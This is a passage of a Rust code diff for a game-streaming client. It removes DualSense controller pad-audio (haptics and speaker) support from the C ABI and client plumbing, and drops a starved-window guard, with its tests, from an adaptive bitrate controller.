pub const PUNKTFUNK_HIDOUT_TRACKPAD_HAPTIC: u8 = 4;
/// `PunktfunkHidOutput::kind` — the audio-control region of a DS5 output report (pad-audio
/// routing/volumes; the audio SAMPLES arrive via [`punktfunk_connection_next_pad_audio`]).
/// `which` = the condensed audio flags (bit0 = haptics-select, bits1..4 = the report's
/// audio-valid flags); `effect[0..6]` = bytes 5..=10 of the report verbatim
/// (headphone/speaker/mic volumes + routing) with `effect_len = 6`. Forwarded change-only.
pub const PUNKTFUNK_HIDOUT_AUDIO_CTL: u8 = 5;
/// Capacity of `PunktfunkHidOutput::effect` (the DualSense trigger parameter block).
pub const PUNKTFUNK_HID_EFFECT_MAX: u8 = 11;
@@ -768,17 +762,6 @@ impl PunktfunkHidOutput {
out.effect_len = 6;
}
HidOutput::HidRaw { .. } => return None,
HidOutput::AudioCtl { pad, flags, raw } => {
// Same packing idiom as TrackpadHaptic: `which` carries the flags byte,
// `effect[0..6]` the raw audio region. The u16 wire pad narrows losslessly
// because `HidOutput::decode` refuses one at or above `input::MAX_PADS` (B27) —
// it is enforced there, not merely assumed here.
out.kind = PUNKTFUNK_HIDOUT_AUDIO_CTL;
out.pad = *pad as u8;
out.which = *flags;
out.effect[0..6].copy_from_slice(raw);
out.effect_len = 6;
}
}
Some(out)
}
@@ -1192,25 +1175,6 @@ pub const PUNKTFUNK_HOST_CAP_CLIPBOARD: u8 = 0x02;
/// the client keeps its pen-as-touch fallback. (Mirrors `quic::HOST_CAP_PEN`;
/// design/pen-tablet-input.md.)
pub const PUNKTFUNK_HOST_CAP_PEN: u8 = 0x10;
/// Host-capability bit in [`punktfunk_connection_host_caps`]: the host can capture per-gamepad
/// audio (DualSense voice-coil haptics + speaker) and emit it on the 0xD1 plane toward pads
/// declared capable via [`punktfunk_connection_set_pad_audio_caps`]. Set only when the client
/// asked via [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`]. (Mirrors `quic::HOST_CAP_PAD_AUDIO`.)
pub const PUNKTFUNK_HOST_CAP_PAD_AUDIO: u8 = 0x40;
/// Pad-audio `kind` ([`punktfunk_connection_next_pad_audio`]): the BACK channel pair — DualSense
/// voice-coil haptics, 5 ms Opus frames. (Mirrors `quic::PAD_AUDIO_KIND_HAPTICS`.)
pub const PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS: u8 = 0;
/// Pad-audio `kind`: the FRONT channel pair — the controller's built-in speaker, 10 ms Opus
/// frames. (Mirrors `quic::PAD_AUDIO_KIND_SPEAKER`.)
pub const PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER: u8 = 1;
/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the HAPTICS
/// stream (a real DualSense's voice coils).
pub const PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS: u8 = 0x01;
/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the SPEAKER
/// stream.
pub const PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER: u8 = 0x02;
// Keep the ABI cap bits in lockstep with the wire constants (compile-time guard against drift).
#[cfg(feature = "quic")]
@@ -1225,20 +1189,6 @@ const _: () = {
assert!(PUNKTFUNK_HOST_CAP_GAMEPAD_STATE == crate::quic::HOST_CAP_GAMEPAD_STATE);
assert!(PUNKTFUNK_HOST_CAP_CLIPBOARD == crate::quic::HOST_CAP_CLIPBOARD);
assert!(PUNKTFUNK_HOST_CAP_PEN == crate::quic::HOST_CAP_PEN);
assert!(PUNKTFUNK_HOST_CAP_PAD_AUDIO == crate::quic::HOST_CAP_PAD_AUDIO);
assert!(PUNKTFUNK_CLIENT_CAP_PAD_AUDIO == crate::quic::CLIENT_CAP_PAD_AUDIO);
assert!(PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS == crate::quic::PAD_AUDIO_KIND_HAPTICS);
assert!(PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER == crate::quic::PAD_AUDIO_KIND_SPEAKER);
// The setter's caps bits are the arrival flags bits 8/9 shifted down (the wire packing
// `input::encode_gamepad_arrival` applies).
assert!(
(PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS as u32) << 8
== crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS
);
assert!(
(PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER as u32) << 8
== crate::input::ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
);
assert!(PUNKTFUNK_PEN_IN_RANGE == crate::quic::PEN_IN_RANGE);
assert!(PUNKTFUNK_PEN_TOUCHING == crate::quic::PEN_TOUCHING);
assert!(PUNKTFUNK_PEN_BARREL1 == crate::quic::PEN_BARREL1);
@@ -1821,13 +1771,6 @@ pub const PUNKTFUNK_CLIENT_CAP_CURSOR: u8 = 0x01;
/// forward-compatible.
pub const PUNKTFUNK_CLIENT_CAP_PHASE_LOCK: u8 = 0x02;
/// [`punktfunk_connect_ex9`] `client_caps` bit: the client understands the pad-audio plane
/// (0xD1 — per-gamepad DualSense voice-coil haptics + speaker). The embedder MUST then drain
/// [`punktfunk_connection_next_pad_audio`] and declare each capable pad via
/// [`punktfunk_connection_set_pad_audio_caps`]; the host emits pad audio only when it answers
/// with [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`]. (Mirrors `quic::CLIENT_CAP_PAD_AUDIO`.)
pub const PUNKTFUNK_CLIENT_CAP_PAD_AUDIO: u8 = 0x08;
/// Shared body of [`punktfunk_connect_ex7`] / [`punktfunk_connect_ex8`]: `status_out`
/// (nullable) is written on EVERY path — `Ok`, the mapped [`PunktfunkError`],
/// `InvalidArg` for bad arguments, `Panic` if the connect panicked.
@@ -2372,117 +2315,6 @@ pub unsafe extern "C" fn punktfunk_connection_next_audio_pcm(
})
}
/// Pull the next pad-audio frame (0xD1) — one Opus frame of DualSense voice-coil haptics
/// (`kind` = [`PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
/// ([`PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `*out_pad` — waiting up to
/// `timeout_ms`. The payload is COPIED into `buf` (no borrow-until-next-call slot); the return
/// value is its length in bytes, `0` = nothing this poll (timeout — or a DTX/oversized frame,
/// both of which an embedder treats the same way), `-1` = the session ended (or an invalid
/// handle/buffer). All pads/kinds share one queue — fan out by `*out_pad`/`*out_kind` to
/// per-actuator Opus decoders. A frame larger than `buf_len` is dropped like the timeout case
/// (the plane is lossy by design; any real Opus frame fits a 1500-byte buffer). Only a session
/// connected with [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`] against a
/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — with the pad declared via
/// [`punktfunk_connection_set_pad_audio_caps`] — ever receives any. Drain from a dedicated
/// thread (one puller, may run alongside the other planes' pullers).
///
/// # Safety
/// `c` is a valid connection handle; the `out_*` pointers are writable (NULLs are skipped);
/// `buf` is writable for `buf_len` bytes.
#[cfg(feature = "quic")]
#[no_mangle]
pub unsafe extern "C" fn punktfunk_connection_next_pad_audio(
c: *mut PunktfunkConnection,
out_pad: *mut u8,
out_kind: *mut u8,
out_seq: *mut u32,
out_pts_ns: *mut u64,
buf: *mut u8,
buf_len: usize,
timeout_ms: u32,
) -> i32 {
let r = std::panic::catch_unwind(AssertUnwindSafe(|| {
// SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
// has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
// here handles.
let c = match unsafe { c.as_ref() } {
Some(c) => c,
None => return -1,
};
if buf.is_null() && buf_len != 0 {
return -1;
}
match c
.inner
.next_pad_audio(std::time::Duration::from_millis(timeout_ms as u64))
{
Some(f) => {
if f.opus.is_empty() || f.opus.len() > buf_len {
// DTX silence (skipped like the audio-PCM path — decoding an empty payload
// as loss would synthesize concealment) or doesn't fit — report "nothing
// this poll" (the next_hidout HidRaw-skip precedent; truncated Opus would
// be undecodable anyway).
return 0;
}
// SAFETY: per the ABI contract - each out-param below is OPTIONAL, so it is null-
// checked before it is written; `buf` is a caller-owned writable region of
// `buf_len` bytes and the copy length was just bounds-checked against it.
unsafe {
if !out_pad.is_null() {
*out_pad = f.pad;
}
if !out_kind.is_null() {
*out_kind = f.kind;
}
if !out_seq.is_null() {
*out_seq = f.seq;
}
if !out_pts_ns.is_null() {
*out_pts_ns = f.pts_ns;
}
std::ptr::copy_nonoverlapping(f.opus.as_ptr(), buf, f.opus.len());
}
f.opus.len() as i32
}
// `None` folds timeout and closed; the shutdown flag tells them apart so the
// embedder's plane loop can exit instead of polling a dead session forever.
None if c.inner.is_session_ended() => -1,
None => 0,
}
}));
r.unwrap_or(-1)
}
/// Declare wire pad `pad`'s pad-audio render capabilities (`audio_caps`: OR of
/// [`PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS`] / [`PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER`]) — how a client
/// tells the host WHICH pads can actually play the 0xD1 streams. Call at controller attach,
/// BEFORE the pad's arrival event is sent (the [`punktfunk_connection_set_rumble_quirks`]
/// timing): the core folds the bits into the arrival's flags (bits 8/9), and only toward a
/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — never calling this leaves the wire bytes exactly as
/// before. Latest-wins per pad; unknown bits are masked off.
///
/// # Safety
/// `c` is a valid connection handle. Callable from any thread.
#[cfg(feature = "quic")]
#[no_mangle]
pub unsafe extern "C" fn punktfunk_connection_set_pad_audio_caps(
c: *mut PunktfunkConnection,
pad: u8,
audio_caps: u8,
) -> PunktfunkStatus {
guard(|| {
// SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
// has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
// here handles.
let c = match unsafe { c.as_ref() } {
Some(c) => c,
None => return PunktfunkStatus::NullPointer,
};
c.inner.set_pad_audio_caps(pad, audio_caps);
PunktfunkStatus::Ok
})
}
/// Pull the next rumble (force-feedback) update, waiting up to `timeout_ms`. Amplitudes
/// are 0..0xFFFF (`low` = low-frequency motor, `high` = high-frequency), `(0, 0)` = stop.
/// Same timeout/closed semantics as [`punktfunk_connection_next_audio`].
@@ -4585,36 +4417,3 @@ pub unsafe extern "C" fn punktfunk_reanchor_gate_is_holding(
PunktfunkStatus::Ok
})
}
#[cfg(all(test, feature = "quic"))]
mod tests {
use super::*;
/// The `AudioCtl` → `PunktfunkHidOutput` mapping: kind 5, pad narrowed, `which` carries the
/// flags byte, `effect[0..6]` the raw audio region with `effect_len = 6` (the TrackpadHaptic
/// packing idiom — no struct growth, so the size guard above stays at 19).
#[test]
fn hidout_abi_maps_audio_ctl() {
let out = PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::AudioCtl {
pad: 3,
flags: 0x17,
raw: [0x50, 0x60, 0x70, 0x05, 0, 0],
})
.unwrap();
assert_eq!(out.kind, PUNKTFUNK_HIDOUT_AUDIO_CTL);
assert_eq!(out.pad, 3);
assert_eq!(out.which, 0x17);
assert_eq!(out.effect_len, 6);
assert_eq!(out.effect[..6], [0x50, 0x60, 0x70, 0x05, 0, 0]);
assert_eq!(out.effect[6..], [0; 5]);
// A raw passthrough report still has no C representation (skipped at the pull site).
assert!(
PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::HidRaw {
pad: 0,
kind: 0,
data: vec![0x80],
})
.is_none()
);
}
}
-120
View File
@@ -159,17 +159,6 @@ const CAP_REPROBE_WINDOWS_MAX: u32 = 128;
/// choke again at the same place, and only backoffs at a climbed-to rate can agree within the
/// band (a cascade's second backoff sits at ×0.7 of the first: outside it by construction).
const DECODE_CAP_SIMILAR_DIV: u32 = 8;
/// A deciding window that DELIVERED under `current / STARVED_DELIVERY_DIV` is STARVED: the
/// stream barely flowed (a host-side capture stall, an outage, a mid-window pause), so whatever
/// distress the window carries — a flush, a keyframe-ask burst — is starvation-shaped, not
/// rate-shaped, and the decoder decoded almost nothing at the nominal rate. Such a window may
/// still back off (real damage deserves the safe response) but must never be a decode-knee
/// sample: latching `current_kbps` off a starved window teaches a phantom decoder cap at
/// whatever rate the stall interrupted (the periodic-capture-stall field case: every 5 s cycle
/// offers another pair of "backoffs" at the same rate — a bogus latch that then fights the
/// re-probe ladder for minutes). Deliberately far below the ×¾ utilization bar climbs require:
/// the band between them is ambiguous and keeps today's behavior.
const STARVED_DELIVERY_DIV: u32 = 4;
/// Rolling window (in 750 ms report windows, ~30 s) whose minimum mean is the OWD baseline.
/// Long enough to remember the uncongested floor, short enough to follow genuine path changes.
const BASELINE_WINDOWS: usize = 40;
@@ -708,10 +697,6 @@ impl BitrateController {
|| self.streak_decode_windows >= BAD_WINDOWS_TO_DECREASE
|| (recovery_kf >= RECOVERY_KF_BAD && loss_ppm < HEAVY_LOSS_PPM)
|| (flushed && (decode_bad || decode_mean_us.is_none()));
// Starved deciding window (see [`STARVED_DELIVERY_DIV`]): the stream barely flowed,
// so the window says nothing about what the decoder can hold at this rate.
let starved =
(actual_kbps as u64) * (STARVED_DELIVERY_DIV as u64) < self.current_kbps as u64;
if !self.climb_since_backoff {
// Still draining the previous backoff: the host acks a ×0.7 request in ~100 ms,
// so this window's rate is one the decoder never choked at while keeping up —
@@ -723,17 +708,6 @@ impl BitrateController {
"adaptive bitrate: backoff without an intervening climb — draining the \
previous choke, not a knee sample"
);
} else if starved {
// Same "not a knee sample either way" treatment as the draining arm: neither
// latch against a starved window nor let it erase the reference a real knee
// set — the next genuine choke at that rate must still find its pair.
tracing::debug!(
at_kbps = self.current_kbps,
actual_kbps,
reference_kbps = self.decode_backoff_kbps,
"adaptive bitrate: backoff in a starved window (delivery a fraction of \
the target) starvation-shaped distress, not a knee sample"
);
} else if decode_evidence {
let rate = self.current_kbps;
let similar = self.decode_backoff_kbps > 0
@@ -2110,100 +2084,6 @@ mod tests {
rate - rate / 16
}
/// One capture-stall-shaped window at the current rate: almost nothing delivered
/// (current/10), nothing decoded, no loss — but a jump-to-live flush and a keyframe-ask
/// storm (the stall edge's damage signature). SEVERE, so it backs off; STARVED, so it must
/// never be a knee sample.
fn stall_choke(c: &mut BitrateController, start: Instant, tick: &mut u32) -> Option<u32> {
*tick += 2;
let r = c.on_window(
ticks(start, *tick),
0,
0,
None,
None,
None,
c.current_kbps / 10,
true,
RECOVERY_KF_SEVERE,
);
*tick += 1;
r
}
#[test]
fn capture_stall_windows_never_latch_a_decode_cap() {
// The periodic-capture-stall field case (RDNA4 standby-sink, 5 s cycle): every stall
// edge offers another flush + kf-storm "backoff" at the SAME rate — without the starved
// guard that pair latches a phantom decoder knee at whatever rate the display driver
// happened to interrupt, and the session then fights the re-probe ladder for minutes.
let mut c = BitrateController::new(240_000);
c.set_ceiling(900_000);
let start = Instant::now();
let mut t = 0;
for _ in 0..4 {
calm_window(&mut c, ticks(start, t));
t += 1;
}
climb_to(&mut c, start, &mut t, 400_000);
let at = c.current_kbps;
let r1 = stall_choke(&mut c, start, &mut t).expect("stall damage still backs off");
assert!(
c.decode_cap_kbps.is_none(),
"one starved window must not latch"
);
assert_eq!(
c.decode_backoff_kbps, 0,
"a starved window is not a knee sample — no reference recorded"
);
c.on_ack(r1);
climb_to(&mut c, start, &mut t, at - at / DECODE_CAP_SIMILAR_DIV);
let r2 = stall_choke(&mut c, start, &mut t).expect("second stall edge backs off too");
c.on_ack(r2);
assert!(
c.decode_cap_kbps.is_none(),
"a starved pair at the same rate must not latch a phantom knee"
);
}
#[test]
fn starved_window_preserves_the_knee_reference() {
// A REAL knee sample, then a stall edge, then the genuine re-climb choke: the starved
// window in the middle must neither latch nor ERASE the reference the real choke set —
// the genuine pair must still find each other around it.
let mut c = BitrateController::new(500_000);
c.set_ceiling(900_000);
let start = Instant::now();
let mut t = 0;
for _ in 0..4 {
calm_window(&mut c, ticks(start, t));
t += 1;
}
let knee = c.current_kbps;
let r1 = choke(&mut c, start, &mut t).expect("real choke backs off");
assert_eq!(
c.decode_backoff_kbps, knee,
"real choke records the reference"
);
c.on_ack(r1);
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
let r2 = stall_choke(&mut c, start, &mut t).expect("stall edge backs off");
assert_eq!(
c.decode_backoff_kbps, knee,
"the starved window must not erase the real reference"
);
assert!(c.decode_cap_kbps.is_none(), "and must not latch against it");
c.on_ack(r2);
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
let rate = c.current_kbps;
choke(&mut c, start, &mut t).expect("genuine re-climb choke backs off");
assert_eq!(
c.decode_cap_kbps,
Some(rate - rate / 16),
"the genuine pair still latches around the starved interruption"
);
}
#[test]
fn decode_cap_latches_when_the_reclimb_chokes_at_the_same_knee() {
// The 1440p120 field sawtooth: a decoder knee (~500 Mbps) well under the (inflated)
+4 -50
View File
@@ -16,13 +16,11 @@ use crate::config::{CompositorPref, GamepadPref, Mode};
use crate::error::{PunktfunkError, Result};
use crate::input::InputEvent;
use crate::quic::{
endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, PadAudioFrame,
ProbeRequest, RfiRequest, RichInput,
endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, ProbeRequest,
RfiRequest, RichInput,
};
use crate::session::Frame;
use std::sync::atomic::{
AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, AtomicU8, Ordering,
};
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, Ordering};
use std::sync::mpsc::{Receiver, RecvTimeoutError};
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
@@ -45,7 +43,7 @@ use self::control::{CtrlRequest, Negotiated};
use self::frame_channel::{DecodeLatAcc, FrameChannel, FramePop};
use self::planes::{
RumbleUpdate, AUDIO_QUEUE, CLIP_EVENT_QUEUE, CURSOR_SHAPE_QUEUE, CURSOR_STATE_QUEUE,
HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, PAD_AUDIO_QUEUE, RUMBLE_QUEUE,
HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, RUMBLE_QUEUE,
};
use self::probe::ProbeState;
use self::pump::run_pump;
@@ -124,14 +122,6 @@ pub struct NativeClient {
rumble_sched: Arc<rumble::RumbleShared>,
/// Inbound DualSense feedback (lightbar / player LEDs / adaptive triggers) — 0xCD datagrams.
hidout: Mutex<Receiver<HidOutput>>,
/// Inbound pad audio (DualSense voice-coil haptics + speaker Opus frames) — 0xD1 datagrams.
/// Only a session that advertised [`quic::CLIENT_CAP_PAD_AUDIO`] against a
/// [`quic::HOST_CAP_PAD_AUDIO`] host ever receives any.
pad_audio: Mutex<Receiver<PadAudioFrame>>,
/// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
/// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing gamepad-arrival flags
/// (bits 8/9) by the worker's input task — toward a `HOST_CAP_PAD_AUDIO` host only.
pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
/// Inbound static HDR metadata (ST.2086 mastering + content light level) — 0xCE datagrams.
hdr_meta: Mutex<Receiver<HdrMeta>>,
/// Inbound per-AU host capture→send timings — 0xCF datagrams (the client always advertises
@@ -428,10 +418,6 @@ impl NativeClient {
let rumble_sched = Arc::new(rumble::RumbleShared::new());
let rumble_feed = rumble::RumbleFeed(rumble_sched.clone());
let (hidout_tx, hidout_rx) = std::sync::mpsc::sync_channel::<HidOutput>(HIDOUT_QUEUE);
let (pad_audio_tx, pad_audio_rx) =
std::sync::mpsc::sync_channel::<PadAudioFrame>(PAD_AUDIO_QUEUE);
let pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]> =
Arc::new(std::array::from_fn(|_| AtomicU8::new(0)));
let (hdr_meta_tx, hdr_meta_rx) = std::sync::mpsc::sync_channel::<HdrMeta>(HDR_META_QUEUE);
let (host_timing_tx, host_timing_rx) =
std::sync::mpsc::sync_channel::<crate::quic::HostTiming>(HOST_TIMING_QUEUE);
@@ -473,7 +459,6 @@ impl NativeClient {
let clock_offset_w = clock_offset.clone();
let decode_lat_w = decode_lat.clone();
let live_bitrate_w = live_bitrate.clone();
let pad_audio_caps_w = pad_audio_caps.clone();
let ctrl_tx_pump = ctrl_tx.clone(); // the data-plane pump sends adaptive-FEC LossReports
let worker = std::thread::Builder::new()
.name("punktfunk-client".into())
@@ -523,8 +508,6 @@ impl NativeClient {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
pad_audio_caps: pad_audio_caps_w,
hdr_meta_tx,
host_timing_tx,
cursor_shape_tx,
@@ -573,8 +556,6 @@ impl NativeClient {
rumble: Mutex::new(rumble_rx),
rumble_sched,
hidout: Mutex::new(hidout_rx),
pad_audio: Mutex::new(pad_audio_rx),
pad_audio_caps,
hdr_meta: Mutex::new(hdr_meta_rx),
host_timing: Mutex::new(host_timing_rx),
cursor_shape: Mutex::new(cursor_shape_rx),
@@ -1080,33 +1061,6 @@ impl NativeClient {
}
}
/// Pull the next pad-audio frame (0xD1): one Opus frame of DualSense voice-coil haptics
/// ([`quic::PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
/// ([`quic::PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `pad`. All pads/kinds share the
/// queue — the embedder fans out by `pad`/`kind` to per-actuator Opus decoders. `None` on
/// timeout AND once the session ended ([`is_session_ended`](Self::is_session_ended)
/// distinguishes, and the plane is best-effort either way). Only a session that advertised
/// [`quic::CLIENT_CAP_PAD_AUDIO`] against a [`quic::HOST_CAP_PAD_AUDIO`] host — with the
/// pad's render caps declared via [`set_pad_audio_caps`](Self::set_pad_audio_caps) — ever
/// receives any. Drain on a dedicated thread like [`next_audio`](Self::next_audio); one
/// puller per the plane contract.
pub fn next_pad_audio(&self, timeout: Duration) -> Option<PadAudioFrame> {
self.pad_audio.lock().unwrap().recv_timeout(timeout).ok()
}
/// Declare wire pad `pad`'s pad-audio render capabilities: `audio_caps` bit0 = the pad can
/// play the HAPTICS stream (a real DualSense's voice coils), bit1 = the SPEAKER stream.
/// Call at controller attach, BEFORE the pad's arrival is sent (like
/// [`set_rumble_quirks`](Self::set_rumble_quirks)) — the worker ORs the bits into the
/// arrival's flags (bits 8/9), and only toward a [`quic::HOST_CAP_PAD_AUDIO`] host, so an
/// embedder that never calls this (or a host that can't capture pad audio) leaves the wire
/// bytes exactly as before. Latest-wins per pad; unknown bits are masked off.
pub fn set_pad_audio_caps(&self, pad: u8, audio_caps: u8) {
if let Some(slot) = self.pad_audio_caps.get(pad as usize) {
slot.store(audio_caps & 0x03, Ordering::Relaxed);
}
}
/// Pull the next static HDR metadata update (ST.2086 mastering display + content light level)
/// the host sent for an HDR session; same timeout/closed semantics as
/// [`NativeClient::next_hidout`]. The host sends one near session start and re-sends it on
@@ -20,12 +20,6 @@ pub(crate) type RumbleUpdate = (u16, u16, u16, Option<u16>);
/// Same overflow discipline as rumble; the host re-sends on the next feedback change.
pub(crate) const HIDOUT_QUEUE: usize = 32;
/// Pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker) buffered for the embedder,
/// ALL pads and kinds on one queue (the embedder fans out by `pad`/`kind`): 64 × 5 ms = 320 ms of
/// slack on a haptics-only stream, the [`AUDIO_QUEUE`] discipline. A lagging embedder drops the
/// newest frame (the renderer conceals the gap).
pub(crate) const PAD_AUDIO_QUEUE: usize = 64;
/// Static HDR metadata (ST.2086 mastering + content light level) buffered for the embedder. Tiny
/// and low-rate (one on start, re-sent on mastering changes / keyframes); a small ring is ample.
pub(crate) const HDR_META_QUEUE: usize = 8;
+2 -13
View File
@@ -50,8 +50,6 @@ pub(super) async fn run_pump(args: WorkerArgs) {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
pad_audio_caps,
hdr_meta_tx,
host_timing_tx,
cursor_shape_tx,
@@ -94,17 +92,9 @@ pub(super) async fn run_pump(args: WorkerArgs) {
// Input task: embedder events → uplink datagrams, with per-transition gamepad events
// folded into idempotent seq-stamped snapshots toward a HOST_CAP_GAMEPAD_STATE host
// (see [`input_task`]). Pad-audio render caps ride arrival flags bits 8/9 ONLY toward a
// HOST_CAP_PAD_AUDIO host — an older host reads the whole flags word as the pad index.
// (see [`input_task`]).
let gamepad_snapshots = host_caps & crate::quic::HOST_CAP_GAMEPAD_STATE != 0;
let pad_audio_arrivals = host_caps & crate::quic::HOST_CAP_PAD_AUDIO != 0;
tokio::spawn(input_task::run(
conn.clone(),
input_rx,
gamepad_snapshots,
pad_audio_arrivals,
pad_audio_caps,
));
tokio::spawn(input_task::run(conn.clone(), input_rx, gamepad_snapshots));
// Mic task: embedder Opus mic frames → 0xCB uplink datagrams (best-effort, dropped on loss).
// Self-healing latency bound: every frame still queued once this task catches up is standing
@@ -176,7 +166,6 @@ pub(super) async fn run_pump(args: WorkerArgs) {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
hdr_meta_tx,
host_timing_tx,
encode_lat.clone(),
@@ -12,7 +12,6 @@ pub(super) async fn run(
rumble_tx: std::sync::mpsc::SyncSender<RumbleUpdate>,
rumble_feed: super::super::rumble::RumbleFeed,
hidout_tx: std::sync::mpsc::SyncSender<crate::quic::HidOutput>,
pad_audio_tx: std::sync::mpsc::SyncSender<crate::quic::PadAudioFrame>,
hdr_meta_tx: std::sync::mpsc::SyncSender<crate::quic::HdrMeta>,
host_timing_tx: std::sync::mpsc::SyncSender<crate::quic::HostTiming>,
// The ABR encode signal's accumulator (see [`EncodeLatAcc`]) — fed HERE, not off
@@ -101,11 +100,6 @@ pub(super) async fn run(
let _ = hidout_tx.try_send(h);
}
}
Some(&crate::quic::PAD_AUDIO_MAGIC) => {
if let Some(f) = crate::quic::decode_pad_audio_datagram(&d) {
let _ = pad_audio_tx.try_send(f);
}
}
Some(&crate::quic::HDR_META_MAGIC) => {
if let Some(m) = crate::quic::decode_hdr_meta_datagram(&d) {
let _ = hdr_meta_tx.try_send(m);
@@ -15,16 +15,8 @@ pub(super) async fn run(
conn: quinn::Connection,
mut input_rx: tokio::sync::mpsc::UnboundedReceiver<InputEvent>,
gamepad_snapshots: bool,
// Whether the host advertised HOST_CAP_PAD_AUDIO: only then do arrivals carry the per-pad
// audio-render bits (flags 8/9) — an older host reads the whole flags word as the pad index,
// so unexpected high bits would make it drop the kind declaration entirely.
pad_audio: bool,
// Per-pad audio-render capabilities (bit0 haptics, bit1 speaker), fed by the embedder via
// [`NativeClient::set_pad_audio_caps`] and by arrival events already carrying the bits.
pad_audio_caps: std::sync::Arc<[std::sync::atomic::AtomicU8; crate::input::MAX_PADS]>,
) {
use crate::input::{GamepadSnapshot, InputKind, MAX_PADS};
use std::sync::atomic::Ordering;
// Touched pads only: an entry appears on the first gamepad event for that index, so the
// refresh never conjures a virtual pad the embedder didn't drive.
let mut pads: [Option<GamepadSnapshot>; MAX_PADS] = [None; MAX_PADS];
@@ -45,28 +37,6 @@ pub(super) async fn run(
const ARRIVAL_RESENDS: u8 = 2;
let mut arrival: [Option<u8>; MAX_PADS] = [None; MAX_PADS];
let mut arrival_owed: [u8; MAX_PADS] = [0; MAX_PADS];
// An arrival's outgoing flags word: the pad index, plus the pad's audio-render bits (8/9)
// toward a HOST_CAP_PAD_AUDIO host. With no declared caps (or an older host) this is
// byte-identical to the plain index — the pre-pad-audio wire.
// B7: the caps a pad's LAST arrival actually carried. `set_pad_audio_caps` only stores into
// the registry — it cannot reach this task — so a declaration that lands after the arrival
// burst has drained (the renderer commits the trade only once its sink opens, which is well
// past the two 100 ms ticks) used to never reach the host at all: the client believed it had
// pad audio and the host emitted nothing on 0xD1, silently, forever. Comparing this against
// the live registry on every tick re-arms the burst by itself, with no new plumbing and no
// extra traffic when nothing changed.
let mut arrival_caps_sent: [u8; MAX_PADS] = [0; MAX_PADS];
let caps_now = |idx: usize| -> u8 {
if pad_audio {
pad_audio_caps[idx].load(Ordering::Relaxed)
} else {
0
}
};
let arrival_flags = |idx: usize| -> u32 {
let caps = caps_now(idx);
crate::input::encode_gamepad_arrival(idx as u8, caps)
};
let mut refresh = tokio::time::interval(Duration::from_millis(100));
refresh.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
loop {
@@ -111,56 +81,30 @@ pub(super) async fn run(
let _ = conn.send_datagram(rem.encode().to_vec().into());
continue;
}
if gamepad_snapshots && ev.kind == InputKind::GamepadArrival {
// The index is the LOW BYTE only — bits 8/9 may carry the pad's audio-render
// caps (an embedder building raw events; the `set_pad_audio_caps` registry is
// the usual source). Fold event-carried bits into the registry so the re-send
// burst keeps them, then send with the negotiation-gated flags word.
let (pad, ev_caps) = crate::input::decode_gamepad_arrival(ev.flags);
let idx = pad as usize;
if idx < MAX_PADS {
if ev_caps != 0 {
pad_audio_caps[idx].fetch_or(ev_caps, Ordering::Relaxed);
}
// Remember the declared kind (`code`) and forward it, arming a re-send
// burst so the host learns it before the pad's first frame even under loss.
arrival[idx] = Some(ev.code as u8);
arrival_owed[idx] = ARRIVAL_RESENDS;
arrival_caps_sent[idx] = caps_now(idx);
let arr = crate::input::InputEvent {
flags: arrival_flags(idx),
..ev
};
let _ = conn.send_datagram(arr.encode().to_vec().into());
continue;
}
if gamepad_snapshots && ev.kind == InputKind::GamepadArrival && idx < MAX_PADS {
// Remember the declared kind (`code`) and forward it, arming a re-send burst
// so the host learns it before the pad's first frame even under loss.
arrival[idx] = Some(ev.code as u8);
arrival_owed[idx] = ARRIVAL_RESENDS;
let _ = conn.send_datagram(ev.encode().to_vec().into());
continue;
}
let _ = conn.send_datagram(ev.encode().to_vec().into());
}
_ = refresh.tick() => {
for idx in 0..MAX_PADS {
